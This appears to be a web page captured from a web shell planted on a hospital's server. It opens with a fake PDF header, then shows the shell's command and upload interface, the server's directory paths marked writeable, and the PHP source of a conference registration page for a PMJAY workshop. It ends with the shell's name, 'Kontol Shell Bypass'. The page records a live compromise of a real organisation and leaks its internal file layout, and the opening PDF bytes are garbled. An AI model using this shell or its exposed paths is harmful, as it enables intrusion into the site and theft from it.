%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/thread-self/root/proc/self/root/var/www/html/shardahospital.org/application/views/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/thread-self/root/proc/self/root/var/www/html/shardahospital.org/application/views/cme.php
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>
      Conference Event: Ayushman Bharat Implementation - Sharda Hospital
    </title>
    <link rel="preconnect" href="https://fonts.googleapis.com" />
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
    <link
      href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600;700&display=swap"
      rel="stylesheet"
    />
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
      /* Custom styles to complement Tailwind */
      :root {
        /* Orange Gradient Theme */
        --primary-color: #f97316; /* Orange 500 */
        --secondary-color: #ea580c; /* Orange 600 */
        --text-dark: #333;
      }
      body {
        font-family: "Poppins", sans-serif;
      }
      .hero {
        background: linear-gradient(rgb(255 138 56 / 60%), rgb(37 37 37 / 60%)),
          url(<?= base_url('assests/imgs/hosfile.png');?>)
            no-repeat center center / cover;
      }
      .bg-primary {
        background-color: var(--primary-color);
      }
      .text-primary {
        color: var(--primary-color);
      }
      .border-primary {
        border-color: var(--primary-color);
      }
      .bg-gradient-main {
        background-image: linear-gradient(
          to right,
          var(--primary-color),
          var(--secondary-color)
        );
      }
      .hover\:bg-primary-dark:hover {
        background-color: #d95b0c;
      }

      /* FAQ Accordion Arrow */
      .faq-item summary::-webkit-details-marker {
        display: none;
      }
      .faq-item summary::after {
        content: "+";
        font-size: 1.5rem;
        color: var(--primary-color);
        transition: transform 0.3s ease;
      }
      .faq-item[open] summary::after {
        transform: rotate(45deg);
      }
      .sp {
        width: 106px;
        display: flex;
        justify-content: center;
        align-items: center;
      }
    </style>
  </head>
  <body class="text-gray-800">
    <!-- Sticky Header with Logos -->
    <nav class="bg-white shadow-md sticky top-0 z-50">
      <div
        class="container mx-auto px-6 py-3 flex items-center justify-between"
      >
        <!-- Logo 1 -->
        <a href="https://www.shardahospital.org/" target="_blank">
          <img
            src="https://www.shardahospital.org/assests/images/Sharda-Hospital-Logo.png"
            alt="Sharda Hospital Logo"
            class="w-20 sm:w-20 md:w-24 lg:w-32"
            onerror="this.onerror=null;this.src='https://placehold.co/200x50/ffffff/F97316?text=Sharda+Hospital';"
          />
        </a>

        <!-- Logo 2 -->
        <a href="https://www.sharda.ac.in/" target="_blank">
          <img
            src="<?= base_url('assests/imgs/university.png'); ?>"
            alt="Logo 2"
            class="w-20 sm:w-20 md:w-24 lg:w-32"
          />
        </a>

        <!-- Logo 3 -->
        <a href="https://www.shardacare.com/" target="_blank">
          <img
            src="<?= base_url('assests/imgs/care.png'); ?>"
            alt="Logo 3"
            class="w-20 sm:w-20 md:w-24 lg:w-32"
          />
        </a>
      </div>
    </nav>

    <!-- 1. Hero Section -->
    <header class="hero text-white text-center py-20 md:py-24">
      <div class="container mx-auto px-6">
        <!-- Font sizes reduced for a cleaner look -->
        <h1 class="text-2xl md:text-4xl font-bold leading-tight mb-4">
          National Conference Cum Advanced Workshop on <br />Implementation of
          Ayushman Bharat - PMJAY Scheme in Hospitals
        </h1>
        <p class="text-base md:text-lg max-w-3xl mx-auto mb-6">
          Join us at Sharda Hospital for a Conference dedicated to strengthening
          healthcare delivery through PMJAY.
        </p>
        <div
          class="flex flex-wrap justify-center gap-x-6 gap-y-3 mb-8 text-base"
        >
          <span
            >📍 <strong>Venue:</strong> Sharda University, Greater Noida</span
          >
          <span>🗓️ <strong>Date:</strong> 23rd - 24th September 2025 </span>
        </div>
        <div
          class="flex flex-col sm:flex-row justify-center items-center gap-4"
        >
          <a
            href="<?= base_url('ayusharda-2025/registration_form'); ?>"
            class="bg-white text-orange-600 font-bold py-3 px-8 rounded-full transition duration-300 transform hover:scale-105 w-full sm:w-auto"
            >Register Now</a
          >
          <a
            href="tel:8800061758"
            class="bg-transparent border-2 border-white hover:bg-white hover:text-orange-600 font-bold py-3 px-8 rounded-full transition duration-300 w-full sm:w-auto"
            >Contact Conference Helpdesk: 8800061758</a
          >
        </div>
      </div>
    </header>

    <main>
      <!-- 2. About the Conference -->
      <section id="about-Conference" class="py-16">
        <div class="container mx-auto px-6">
          <h2
            class="text-3xl md:text-4xl font-bold text-gray-800 text-center mb-4"
          >
            Why This Workshop?
          </h2>
          <p class="max-w-3xl mx-auto text-gray-600 mb-10 text-center">
            The Conference is designed to guide healthcare professionals,
            administrators and hospital leaders in effectively implementing
            Ayushman Bharat – PMJAY Scheme. Key focus areas include:
          </p>
          <div class="max-w-4xl mx-auto grid md:grid-cols-2 gap-8">
            <div class="bg-gray-50 p-6 rounded-lg flex items-start gap-4">
              <svg
                class="w-6 h-6 text-primary flex-shrink-0 mt-1"
                fill="none"
                stroke="currentColor"
                viewBox="0 0 24 24"
                xmlns="http://www.w3.org/2000/svg"
              >
                <path
                  stroke-linecap="round"
                  stroke-linejoin="round"
                  stroke-width="2"
                  d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-3 7h3m-3 4h3m-6-4h.01M9 16h.01"
                ></path>
              </svg>
              <p>Understanding operational frameworks of PMJAY.</p>
            </div>
            <div class="bg-gray-50 p-6 rounded-lg flex items-start gap-4">
              <svg
                class="w-6 h-6 text-primary flex-shrink-0 mt-1"
                fill="none"
                stroke="currentColor"
                viewBox="0 0 24 24"
                xmlns="http://www.w3.org/2000/svg"
              >
                <path
                  stroke-linecap="round"
                  stroke-linejoin="round"
                  stroke-width="2"
                  d="M19 21V5a2 2 0 00-2-2H7a2 2 0 00-2 2v16m14 0h2m-2 0h-5m-9 0H3m2 0h5M9 7h1m-1 4h1m4-4h1m-1 4h1m-5 10v-5a1 1 0 011-1h2a1 1 0 011 1v5m-4 0h4"
                ></path>
              </svg>
              <p>Integrating scheme processes with hospital workflows.</p>
            </div>
            <div class="bg-gray-50 p-6 rounded-lg flex items-start gap-4">
              <svg
                class="w-6 h-6 text-primary flex-shrink-0 mt-1"
                fill="none"
                stroke="currentColor"
                viewBox="0 0 24 24"
                xmlns="http://www.w3.org/2000/svg"
              >
                <path
                  stroke-linecap="round"
                  stroke-linejoin="round"
                  stroke-width="2"
                  d="M17 9V7a2 2 0 00-2-2H5a2 2 0 00-2 2v6a2 2 0 002 2h2m2 4h10a2 2 0 002-2v-6a2 2 0 00-2-2H9a2 2 0 00-2 2v6a2 2 0 002 2zm7-5a2 2 0 11-4 0 2 2 0 014 0z"
                ></path>
              </svg>
              <p>Financial planning & reimbursement under Ayushman Bharat.</p>
            </div>
            <div class="bg-gray-50 p-6 rounded-lg flex items-start gap-4">
              <svg
                class="w-6 h-6 text-primary flex-shrink-0 mt-1"
                fill="none"
                stroke="currentColor"
                viewBox="0 0 24 24"
                xmlns="http://www.w3.org/2000/svg"
              >
                <path
                  stroke-linecap="round"
                  stroke-linejoin="round"
                  stroke-width="2"
                  d="M13 10V3L4 14h7v7l9-11h-7z"
                ></path>
              </svg>
              <p>
                Improving patient access through streamlined implementation.
              </p>
            </div>
          </div>
        </div>
      </section>

      <!-- Ticket Pricing and Notes Section -->

      <!-- 3. Why Attend at Sharda Hospital? -->
      <section id="why-attend" class="py-16">
        <div class="container mx-auto px-6">
          <h2
            class="text-3xl md:text-4xl font-bold text-gray-800 text-center mb-12"
          >
            What Makes This Conference Unique?
          </h2>
          <div class="grid gap-12 items-center">
            <div class="space-y-6">
              <div
                class="bg-white p-6 rounded-lg border-l-4 border-primary shadow-md"
              >
                NABH-accredited, 1750+ bed teaching & super-speciality hospital.
              </div>
              <div
                class="bg-white p-6 rounded-lg border-l-4 border-primary shadow-md"
              >
                Experienced faculty with hands-on knowledge of PMJAY
                implementation.
              </div>
              <div
                class="bg-white p-6 rounded-lg border-l-4 border-primary shadow-md"
              >
                Live demonstration of workflow integration.
              </div>
              <div
                class="bg-white p-6 rounded-lg border-l-4 border-primary shadow-md"
              >
                Networking with healthcare leaders & policymakers.
              </div>
              <div
                class="bg-white p-6 rounded-lg border-l-4 border-primary shadow-md"
              >
                Certificate of participation.
              </div>
            </div>
            <!-- <div class="hidden lg:block">
                        <img src="https://images.pexels.com/photos/3184328/pexels-photo-3184328.jpeg?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=1" alt="Professionals networking at a conference" class="rounded-lg shadow-xl" onerror="this.onerror=null;this.src='https://placehold.co/600x400/F97316/FFFFFF?text=Networking';">
                    </div> -->
          </div>
        </div>
      </section>

      <!-- 4. Target Audience -->
      <section id="audience" class="py-16 bg-gray-50">
        <div class="container mx-auto px-6 text-center">
          <h2 class="text-3xl md:text-4xl font-bold text-gray-800 mb-12">
            Who Should Attend?
          </h2>
          <div class="flex flex-wrap justify-center gap-4 max-w-4xl mx-auto">
            <span
              class="bg-gray-200 text-gray-800 font-semibold py-2 px-5 rounded-full"
              >Hospital Administrators</span
            >
            <span
              class="bg-gray-200 text-gray-800 font-semibold py-2 px-5 rounded-full"
              >Medical Directors & Clinical Heads</span
            >
            <span
              class="bg-gray-200 text-gray-800 font-semibold py-2 px-5 rounded-full"
              >Finance & Billing Officers</span
            >
            <span
              class="bg-gray-200 text-gray-800 font-semibold py-2 px-5 rounded-full"
              >Doctors & Nurses</span
            >
            <span
              class="bg-gray-200 text-gray-800 font-semibold py-2 px-5 rounded-full"
              >Healthcare Policy Professionals</span
            >
            <span
              class="bg-gray-200 text-gray-800 font-semibold py-2 px-5 rounded-full"
              >Healthcare Provider</span
            >
            <span
              class="bg-gray-200 text-gray-800 font-semibold py-2 px-5 rounded-full"
              >Students</span
            >
          </div>
        </div>
      </section>
      <section id="agenda" class="py-16">
  <div class="container mx-auto px-6">
    <h2 class="text-3xl md:text-4xl font-bold text-gray-800 text-center mb-12">
      Workshop Agenda
    </h2>
    <div class="max-w-3xl mx-auto space-y-3">
      <div class="bg-white p-4 rounded-lg shadow-sm flex items-center gap-4">
        <span class="bg-gradient-main text-white text-sm font-bold py-1 px-3 rounded-full flex-shrink-0 text-center w-28 md:w-48">
          Keynote
        </span>
        The Future of Ayushman Bharat in Indian Healthcare
      </div>
      <div class="bg-white p-4 rounded-lg shadow-sm flex items-center gap-4">
        <span class="bg-gradient-main text-white text-sm font-bold py-1 px-3 rounded-full flex-shrink-0 text-center w-28 md:w-48">
          Integration
        </span>
        ABHA Compliances with Digital Health and Data Integration in Ayushman Bharat
      </div>
      <div class="bg-white p-4 rounded-lg shadow-sm flex items-center gap-4">
        <span class="bg-gradient-main text-white text-sm font-bold py-1 px-3 rounded-full flex-shrink-0 text-center w-28 md:w-48">
          Panel
        </span>
        Challenges & Opportunities for Private Hospitals
      </div>
      <div class="bg-white p-4 rounded-lg shadow-sm flex items-center gap-4">
        <span class="bg-gradient-main text-white text-sm font-bold py-1 px-3 rounded-full flex-shrink-0 text-center w-28 md:w-48">
          Session
        </span>
        Claim & Reimbursement Process
      </div>
      <div class="bg-white p-4 rounded-lg shadow-sm flex items-center gap-4">
        <span class="bg-gradient-main text-white text-sm font-bold py-1 px-3 rounded-full flex-shrink-0 text-center w-28 md:w-48">
          Case Study
        </span>
        Successful Implementation of Ayushman Bharat Scheme in Hospitals
      </div>
      <div class="bg-white p-4 rounded-lg shadow-sm flex items-center gap-4">
        <span class="bg-gradient-main text-white text-sm font-bold py-1 px-3 rounded-full flex-shrink-0 text-center w-28 md:w-48">
          Hands-On
        </span>
        Digital & Documentation Flow for PMJAY
      </div>
      <div class="bg-white p-4 rounded-lg shadow-sm flex items-center gap-4">
        <span class="bg-gradient-main text-white text-sm font-bold py-1 px-3 rounded-full flex-shrink-0 text-center w-28 md:w-48">
          Networking
        </span>
        Q&A and Networking Session
      </div>
    </div>
    <div class="text-center mt-12">
      </div>
  </div>
</section>

      <!-- Panel Discussions & Debate Section -->
      <section id="panel-discussions" class="py-16 bg-gray-50">
        <div class="container mx-auto px-6">
          <h2
            class="text-3xl md:text-4xl font-bold text-gray-800 text-center mb-12"
          >
            Discussions & Debates
          </h2>
          <div class="max-w-4xl mx-auto space-y-10">
            <!-- Panel Discussion 1 -->
            <div
              class="bg-white p-6 rounded-lg shadow-md border-l-4 border-primary"
            >
              <h3 class="text-2xl font-bold text-gray-800 mb-2">
                Panel Discussion 1
              </h3>
              <p class="text-lg font-semibold text-gray-700 mb-4">
                Topic: Role of Private Hospitals in Ayushman Bharat
              </p>
              <ul class="space-y-2 text-gray-600 list-disc list-inside">
                <li>
                  Officals From State Health Agency & Sachis - To Be Decided
                </li>
                <li>Dr. (Brig) Ram Murti Sharma, MS, Sharda Hospital</li>
                <li>
                  Dr. (AVM) Ashutosh Sharma, MS, Amrita Hospital, Faridabad
                </li>
               
              </ul>
            </div>
            <!-- Panel Discussion 2 -->
            <div
              class="bg-white p-6 rounded-lg shadow-md border-l-4 border-primary"
            >
              <h3 class="text-2xl font-bold text-gray-800 mb-2">
                Panel Discussion 2
              </h3>
              <p class="text-lg font-semibold text-gray-700 mb-4">
                Topic: Ethical Challenges in Free Healthcare under Ayushman
                Bharat
              </p>
              <ul class="space-y-2 text-gray-600 list-disc list-inside">
                <li>
                  Officals From State Health Agency & Sachis - To Be Decided
                </li>
                <li>Dr. Ravindra Srivastava (Neurosurgeon), Sharda Hospital</li>
                <li>
                  Dr. Subhendu Mohanty (Interventional Cardiologist), Sharda
                  Hospital
                </li>
                <li>
                  Dr. Anil Thakwani (Radiation Oncologist), Sharda Hospital
                </li>
              </ul>
            </div>
            <!-- Debate -->
            <div
              class="bg-white p-6 rounded-lg shadow-md border-l-4 border-primary"
            >
              <h3 class="text-2xl font-bold text-gray-800 mb-2">Debate</h3>
              <p class="text-lg font-semibold text-gray-700 mb-4">
                Topic: “Public-Private Synergy in Ayushman Bharat: Boon or
                Burden for Hospital?”
              </p>
              <ul class="space-y-2 text-gray-600 list-disc list-inside">
                <li>
                  Officals From State Health Agency & Sachis - To Be Decided
                </li>
                <li>
                  Dr. (Brig) Rakesh Kumar Gupta, Director, GIMS Greater Noida
                </li>
                <li>Dr. A.K. Gadpayle, Mahanandan Super Speciality Hospital</li>
              </ul>
            </div>
          </div>
        </div>
      </section>
      <!-- <div class="text-center">
                         <h3 class="font-bold text-lg">Dr.Rishabh Gupta</h3>
                        <p class="text-gray-500">Vice President</p>
                    </div> -->
      <!-- 7. Speakers & Faculty -->
      <section id="speakers" class="py-16">
        <div class="container mx-auto px-6">
          <h2
            class="text-3xl md:text-4xl font-bold text-gray-800 text-center mb-12"
          >
            Speakers
          </h2>

          <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-8">
            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">State Health Agency & SACHIS</h3>
              <p class="text-gray-500">Officials & Representatives</p>
            </div>
       
            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. (Brig) Rakesh Kumar Gupta</h3>
              <p class="text-gray-500">Director, GIMS Greater Noida</p>
            </div>

            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. (AVM) Ashutosh Sharma</h3>
              <p class="text-gray-500">MS, Amrita Hospital, Faridabad</p>
            </div>
            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. Manish Sabharwal</h3>
              <p class="text-gray-500">MD, Santosh Hospital</p>
            </div>
            <!-- <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">null</h3>
              <p class="text-gray-500">MS, Subharti Hospital</p>
            </div> -->
            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. (Brig) Ram Murti Sharma</h3>
              <p class="text-gray-500">MS, Sharda Hospital</p>
            </div>
            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. Ravindra Srivastava</h3>
              <p class="text-gray-500">Neurosurgeon, Sharda Hospital</p>
            </div>
            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. Subhendu Mohanty</h3>
              <p class="text-gray-500">
                Interventional Cardiologist, Sharda Hospital
              </p>
            </div>
            <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. Anil Thakwani</h3>
              <p class="text-gray-500">Radiation Oncologist, Sharda Hospital</p>
            </div>
                 <div class="text-center bg-gray-50 p-6 rounded-lg shadow-sm">
              <h3 class="font-bold text-lg">Dr. Devendra Kumar Singh </h3>
              <p class="text-gray-500">Respiratory Medicine, Sharda Hospital</p>
            </div>
          </div>
        </div>
      </section>

      <!-- 6. Registration & Process -->
      <section id="register" class="py-16">
        <div class="container mx-auto px-6 text-center">
          <h2 class="text-3xl md:text-4xl font-bold text-gray-800 mb-12">
            How to Register?
          </h2>
          <div class="grid md:grid-cols-3 gap-12 max-w-5xl mx-auto">
            <div class="text-center">
              <div
                class="w-20 h-20 bg-gradient-main text-white rounded-full flex items-center justify-center text-3xl font-bold mx-auto mb-4"
              >
                1
              </div>
              <h3 class="text-xl font-bold text-gray-800 mb-2">
                Fill the Form
              </h3>
              <p class="text-gray-600">
                Click on ‘Register Now’ and fill in the detailed form.
              </p>
            </div>
            <div class="text-center">
              <div
                class="w-20 h-20 bg-gradient-main text-white rounded-full flex items-center justify-center text-3xl font-bold mx-auto mb-4"
              >
                2
              </div>
              <h3 class="text-xl font-bold text-gray-800 mb-2">
                Complete Payment
              </h3>
              <p class="text-gray-600">
                Complete the secure online payment process.
              </p>
            </div>
            <div class="text-center">
              <div
                class="w-20 h-20 bg-gradient-main text-white rounded-full flex items-center justify-center text-3xl font-bold mx-auto mb-4"
              >
                3
              </div>
              <h3 class="text-xl font-bold text-gray-800 mb-2">
                Get Confirmation
              </h3>
              <p class="text-gray-600">
                Receive confirmation mail & entry pass.
              </p>
            </div>
          </div>
          <div class="mt-12">
            <a
              href="<?= base_url('ayusharda-2025/registration_form'); ?>"
              class="bg-gradient-main hover:bg-primary-dark text-white font-bold py-3 px-8 rounded-full transition duration-300 transform hover:scale-105"
              >Register Now</a
            >
          </div>
        </div>
      </section>
      <section id="pricing" class="py-16 bg-gray-100">
        <div class="container mx-auto px-6">
          <h2
            class="text-3xl md:text-4xl font-bold text-gray-800 text-center mb-12"
          >
            Registration Fee
          </h2>
          <div class="max-w-2xl mx-auto text-gray-700 space-y-3 mb-8">
            <div
              class="bg-white p-4 rounded-lg shadow-md flex justify-between items-center"
            >
              <div>
                <span class="font-semibold">Early Bird Pass</span>
                <p class="text-sm text-gray-500">25 Aug to 10 Sep</p>
              </div>
              <span class="font-bold text-primary text-lg">₹1000</span>
            </div>
            <div
              class="bg-white p-4 rounded-lg shadow-md flex justify-between items-center"
            >
              <span class="font-semibold">After 10 Sep 2025</span>
              <span class="font-bold text-primary text-lg">₹2000</span>
            </div>
            <div
              class="bg-white p-4 rounded-lg shadow-md flex justify-between items-center"
            >
              <span class="font-semibold">Delegates Pass</span>
              <span class="font-bold text-primary text-lg">₹2000</span>
            </div>
            <div
              class="bg-white p-4 rounded-lg shadow-md flex justify-between items-center"
            >
              <div>
                <span class="font-semibold"
                  >Student Pass (only For Students)</span
                >
                <p class="text-sm text-gray-500">Valid ID Required</p>
              </div>
              <span class="font-bold text-primary text-lg">₹500</span>
            </div>
            <div
              class="bg-white p-4 rounded-lg shadow-md flex justify-between items-center"
            >
              <div>
                <span class="font-semibold">On-Spot Registration</span>
                <p class="text-sm text-gray-500">Payable at Venue Counter</p>
              </div>
              <span class="font-bold text-primary text-lg">₹2500</span>
            </div>
          </div>

          <div
            class="text-center font-bold text-gray-700 my-8 py-3 bg-yellow-200 border-y-4 border-yellow-400"
          >
            + YOUR PASS, YOUR RESPONSIBILITY! +
          </div>

          <div
            class="mt-8 max-w-2xl mx-auto bg-red-50 border-l-4 border-red-500 text-red-800 p-6 rounded-r-lg shadow-lg"
            role="alert"
          >
            <h3 class="font-bold text-xl mb-3">▲ IMPORTANT NOTE ▲</h3>
            <ul class="list-disc list-inside space-y-2">
              <li>
                <strong>No Cancellations:</strong> Once registered, your booking
                is final.
              </li>
              <li>
                <strong>Non-Transferable:</strong> Your pass is valid only for
                you.
              </li>
              <li>Respect the rules. Enjoy the event hassle-free!</li>
            </ul>
          </div>
          <div class="text-center mt-12">
            <a
              href="<?= base_url('ayusharda-2025/registration_form'); ?>"
              class="bg-gradient-main hover:bg-primary-dark text-white font-bold py-3 px-10 rounded-full transition duration-300 transform hover:scale-105 text-lg"
              >Register Now
            </a>
          </div>
        </div>
      </section>
      <!-- 8. FAQs -->
      <section id="faq" class="py-16">
        <div class="container mx-auto px-6">
          <h2
            class="text-3xl md:text-4xl font-bold text-gray-800 text-center mb-12"
          >
            Frequently Asked Questions
          </h2>
          <div class="max-w-3xl mx-auto space-y-4">
            <details class="faq-item bg-white p-4 rounded-lg shadow-sm border">
              <summary
                class="font-semibold text-lg cursor-pointer flex justify-between items-center"
              >
                What is the registration fee?
              </summary>
              <div class="mt-3 text-gray-600">
                <p>
                  The registration fees are listed above. We have options for
                  early birds, general attendees, delegates, and special passes
                  for Sharda students.
                </p>
              </div>
            </details>
            <details class="faq-item bg-white p-4 rounded-lg shadow-sm border">
              <summary
                class="font-semibold text-lg cursor-pointer flex justify-between items-center"
              >
                Is the event Conference-accredited?
              </summary>
              <div class="mt-3 text-gray-600">
                <p>
                  Yes, the workshop is Conference-accredited. Credit hours will
                  be awarded to all participants upon completion.
                </p>
              </div>
            </details>
            <details class="faq-item bg-white p-4 rounded-lg shadow-sm border">
              <summary
                class="font-semibold text-lg cursor-pointer flex justify-between items-center"
              >
                Will participants get certificates?
              </summary>
              <div class="mt-3 text-gray-600">
                <p>
                  Yes, all registered attendees who complete the workshop will
                  receive a certificate of participation.
                </p>
              </div>
            </details>
            <details class="faq-item bg-white p-4 rounded-lg shadow-sm border">
              <summary
                class="font-semibold text-lg cursor-pointer flex justify-between items-center"
              >
                Can group registrations be made?
              </summary>
              <div class="mt-3 text-gray-600">
                <p>
                  Yes, we offer special packages for group registrations of 5 or
                  more participants. Please contact our helpdesk for more
                  details.
                </p>
              </div>
            </details>
          </div>
        </div>
      </section>

      <!-- 9. Closing Section -->
      <section class="bg-gradient-main text-white text-center py-16">
        <div class="container mx-auto px-6">
          <h2 class="text-3xl md:text-4xl font-bold mb-4">
            Secure Your Spot for the Conference
          </h2>
          <p class="text-lg md:text-xl max-w-3xl mx-auto mb-8">
            Be part of an advanced workshop shaping the future of Ayushman
            Bharat in hospitals.
          </p>
          <div
            class="flex flex-col sm:flex-row justify-center items-center gap-4"
          >
            <a
              href="<?= base_url('ayusharda-2025/registration_form'); ?>"
              class="bg-white text-orange-600 font-bold py-3 px-8 rounded-full transition duration-300 transform hover:scale-105 w-full sm:w-auto"
              >Register Now</a
            >
            <a
              href="tel:8800061758"
              class="bg-transparent border-2 border-white hover:bg-white hover:text-orange-600 font-bold py-3 px-8 rounded-full transition duration-300 w-full sm:w-auto"
              >Call 8800061758 for Assistance</a
            >
          </div>
        </div>
      </section>
    </main>

    <script>
      // JavaScript to ensure only one FAQ item is open at a time.
      document.addEventListener("DOMContentLoaded", function () {
        const allDetails = document.querySelectorAll(".faq-item");
        allDetails.forEach((details) => {
          details.addEventListener("toggle", (event) => {
            if (details.open) {
              allDetails.forEach((otherDetails) => {
                if (otherDetails !== details && otherDetails.open) {
                  otherDetails.removeAttribute("open");
                }
              });
            }
          });
        });
      });
    </script>
  </body>
</html>

Kontol Shell Bypass